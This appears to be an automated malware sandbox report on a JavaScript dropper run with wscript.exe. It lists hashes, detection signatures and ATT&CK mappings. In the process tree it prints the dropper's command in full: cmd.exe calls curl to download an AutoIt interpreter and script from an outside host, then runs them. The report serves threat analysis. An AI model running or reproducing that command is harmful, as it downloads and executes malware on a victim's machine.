21cbf06080ae61f95617b3f65f85af5a1390133af6c5c516ac251f9f9cde7fa7

Analysis

max time kernel
34s
max time network
40s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13/10/2023, 14:11

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General

Target

57cfc3b0b53e856c78b47867d7013516.js
Size

35KB
MD5

57cfc3b0b53e856c78b47867d7013516
SHA1

96b24cfafc899c611fbf10cd71c2ea164d494498
SHA256

21cbf06080ae61f95617b3f65f85af5a1390133af6c5c516ac251f9f9cde7fa7
SHA512

ee0bc079d5a99c6c109bac39aa5424ed9bc550c5090e96328790edecc285fff5a64c7026739dab2e27dab28e78075917cdf86463571f982fc6a6b82405216563
SSDEEP

768:xu5lDXfNaS8QzGeEU05ZDU9C6GSeIf+y5af1y/W5xkV8NXP4a7H++ffchuR5M3Q:TB0Gh1y/q/H

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1780	wscript.exe
5	1780	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 1960	1780	wscript.exe	28
PID 1780 wrote to memory of 1960	1780	wscript.exe	28
PID 1780 wrote to memory of 1960	1780	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\57cfc3b0b53e856c78b47867d7013516.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp & curl -o Autoit3.exe http://whoernet.co.com:80 & curl -o imkvef.au3 http://whoernet.co.com:80/msikatqayts & Autoit3.exe imkvef.au3
  2⤵
  PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabB647.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\TarB7A1.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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